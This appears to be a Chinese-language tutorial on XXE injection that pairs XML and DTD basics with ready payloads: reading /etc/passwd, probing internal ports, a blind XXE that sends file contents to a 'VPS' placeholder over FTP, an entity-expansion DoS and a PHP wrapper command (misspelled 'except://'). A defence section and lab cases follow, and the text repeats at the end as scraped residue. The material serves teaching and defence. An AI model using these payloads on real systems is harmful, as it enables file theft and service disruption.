浅谈XML实体注入漏洞
字数 1375 2025-08-18 11:37:23

XML实体注入(XXE)漏洞深入解析

1. XXE漏洞概述

XXE(XML External Entity Injection)即XML外部实体注入漏洞,发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件。

危害

  • 文件读取
  • 命令执行
  • 内网端口扫描
  • 攻击内网网站
  • 发起DoS攻击

触发点:可以上传XML文件的位置,没有对上传的XML文件进行过滤。

2. XML基础知识

2.1 XML基本特性

  • 设计用于传输和存储数据(不同于HTML用于显示数据)
  • 独立于软件和硬件的传输工具

2.2 XML基本语法

  • 所有元素必须有关闭标签
  • 标签对大小写敏感
  • 必须正确嵌套
  • 文档必须有根元素
  • 属性值必须加引号
  • 空格会被保留(多个空格不会被合并)

2.3 XML实体引用

预定义的5个实体引用:

  • &lt; 对应 <
  • &gt; 对应 >
  • &amp; 对应 &
  • &apos; 对应 '
  • &quot; 对应 "

2.4 XML示例

<bookstore> <!--根元素-->
  <book category="COOKING"> <!--bookstore的子元素,category为属性-->
    <title>Everyday Italian</title> <!--book的子元素-->
    <author>Giada De Laurentiis</author> <!--book的子元素-->
    <year>2005</year> <!--book的子元素-->
    <price>30.00</price> <!--book的子元素-->
  </book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

3. DTD(文档类型定义)

3.1 DTD基础

DTD定义合法的XML文档构建模块,使用一系列合法元素定义文档结构。

3.2 DTD声明方式

  • 内部DTD:直接包含在XML文档中
  • 外部DTD:通过外部引用

内部DTD示例

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
<note>
  <to>Y0u</to>
  <from>@re</from>
  <head>v3ry</head>
  <body>g00d!</body>
</note>

外部DTD引用语法

<!DOCTYPE root-element SYSTEM "filename">

3.3 DTD数据类型

  • PCDATA:被解析的字符数据,会被解析器检查实体和标记
  • CDATA:字符数据,不会被解析器解析

3.4 DTD属性声明

语法:

<!ATTLIST 元素名称 属性名称 属性类型 默认值>

示例:

<!ATTLIST payment Hu3sky CDATA "H">

4. DTD实体

4.1 实体类型

  1. 内部实体

    <!ENTITY 实体名称 "实体的值">
    
  2. 外部实体

    <!ENTITY 实体名称 SYSTEM "URL">
    
  3. 参数实体

    <!ENTITY % 实体名称 "值">
    <!ENTITY % 实体名称 SYSTEM "URL">
    

4.2 实体示例

内部实体

<?xml version="1.0"?>
<!DOCTYPE note[
  <!ELEMENT note (name)>
  <!ENTITY hack3r "Hu3sky">
]>
<note>
  <name>&hack3r;</name>
</note>

参数实体+外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY % name SYSTEM "file:///etc/passwd">
  %name;
]>

5. XXE攻击技术

5.1 有回显的XXE攻击

文件读取示例

<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <name>&xxe;</name>
</root>

内网端口扫描

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
  <!ELEMENT name ANY >
  <!ENTITY XXE SYSTEM "http://127.0.0.1:80" >
]>
<root>
  <name>&XXE;</name>
</root>

5.2 Blind XXE(无回显)

攻击流程

  1. 客户端发送payload 1给web服务器
  2. web服务器向vps获取恶意DTD,并执行文件读取payload2
  3. web服务器带着回显结果访问VPS上特定的FTP或HTTP
  4. 通过VPS获得回显(nc监听端口)

Payload 1(客户端)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://vps/test.xml">
  %remote;
]>

Payload 2(test.xml内容)

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
%int;
%trick;

5.3 DoS攻击

递归实体引用示例

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

5.4 命令执行

PHP环境示例

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

6. XXE防御措施

6.1 禁用外部实体

PHP

libxml_disable_entity_loader(true);

Java

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python

from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))

6.2 其他防御措施

  • 过滤用户提交的XML数据中的关键字:<!DOCTYPE<!ENTITYSYSTEMPUBLIC
  • 不允许XML中含有自定义的DTD
  • 使用更安全的JSON替代XML

7. 实际案例分析

7.1 bWAPP平台XXE漏洞

攻击过程

  1. 拦截XML数据提交请求
  2. 添加恶意外部实体定义
  3. 在XML数据中调用该实体

Payload示例

<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY hu3sky SYSTEM "file:///etc/passwd">
]>
<reset><login>&hu3sky;</login><secret>Any bugs?</secret></reset>

7.2 JarvisOJ API调用题

解题思路

  1. 发现API接受JSON数据
  2. 尝试将JSON改为XML格式
  3. 构造恶意XML进行文件读取

8. 总结

XXE漏洞是一种危险的XML解析漏洞,攻击者可以利用它读取服务器文件、扫描内网、执行DoS攻击等。防御XXE的关键在于禁用外部实体加载,并对用户提交的XML数据进行严格过滤。开发人员应了解XML解析的安全风险,并采取适当的防护措施。

XML实体注入(XXE)漏洞深入解析 1. XXE漏洞概述 XXE(XML External Entity Injection)即XML外部实体注入漏洞,发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件。 危害 : 文件读取 命令执行 内网端口扫描 攻击内网网站 发起DoS攻击 触发点 :可以上传XML文件的位置,没有对上传的XML文件进行过滤。 2. XML基础知识 2.1 XML基本特性 设计用于传输和存储数据(不同于HTML用于显示数据) 独立于软件和硬件的传输工具 2.2 XML基本语法 所有元素必须有关闭标签 标签对大小写敏感 必须正确嵌套 文档必须有根元素 属性值必须加引号 空格会被保留(多个空格不会被合并) 2.3 XML实体引用 预定义的5个实体引用: &lt; 对应 < &gt; 对应 > &amp; 对应 & &apos; 对应 ' &quot; 对应 " 2.4 XML示例 3. DTD(文档类型定义) 3.1 DTD基础 DTD定义合法的XML文档构建模块,使用一系列合法元素定义文档结构。 3.2 DTD声明方式 内部DTD:直接包含在XML文档中 外部DTD:通过外部引用 内部DTD示例 : 外部DTD引用语法 : 3.3 DTD数据类型 PCDATA :被解析的字符数据,会被解析器检查实体和标记 CDATA :字符数据,不会被解析器解析 3.4 DTD属性声明 语法: 示例: 4. DTD实体 4.1 实体类型 内部实体 : 外部实体 : 参数实体 : 4.2 实体示例 内部实体 : 参数实体+外部实体 : 5. XXE攻击技术 5.1 有回显的XXE攻击 文件读取示例 : 内网端口扫描 : 5.2 Blind XXE(无回显) 攻击流程 : 客户端发送payload 1给web服务器 web服务器向vps获取恶意DTD,并执行文件读取payload2 web服务器带着回显结果访问VPS上特定的FTP或HTTP 通过VPS获得回显(nc监听端口) Payload 1(客户端) : Payload 2(test.xml内容) : 5.3 DoS攻击 递归实体引用示例 : 5.4 命令执行 PHP环境示例 : 6. XXE防御措施 6.1 禁用外部实体 PHP : Java : Python : 6.2 其他防御措施 过滤用户提交的XML数据中的关键字: <!DOCTYPE 、 <!ENTITY 、 SYSTEM 、 PUBLIC 不允许XML中含有自定义的DTD 使用更安全的JSON替代XML 7. 实际案例分析 7.1 bWAPP平台XXE漏洞 攻击过程 : 拦截XML数据提交请求 添加恶意外部实体定义 在XML数据中调用该实体 Payload示例 : 7.2 JarvisOJ API调用题 解题思路 : 发现API接受JSON数据 尝试将JSON改为XML格式 构造恶意XML进行文件读取 8. 总结 XXE漏洞是一种危险的XML解析漏洞,攻击者可以利用它读取服务器文件、扫描内网、执行DoS攻击等。防御XXE的关键在于禁用外部实体加载,并对用户提交的XML数据进行严格过滤。开发人员应了解XML解析的安全风险,并采取适当的防护措施。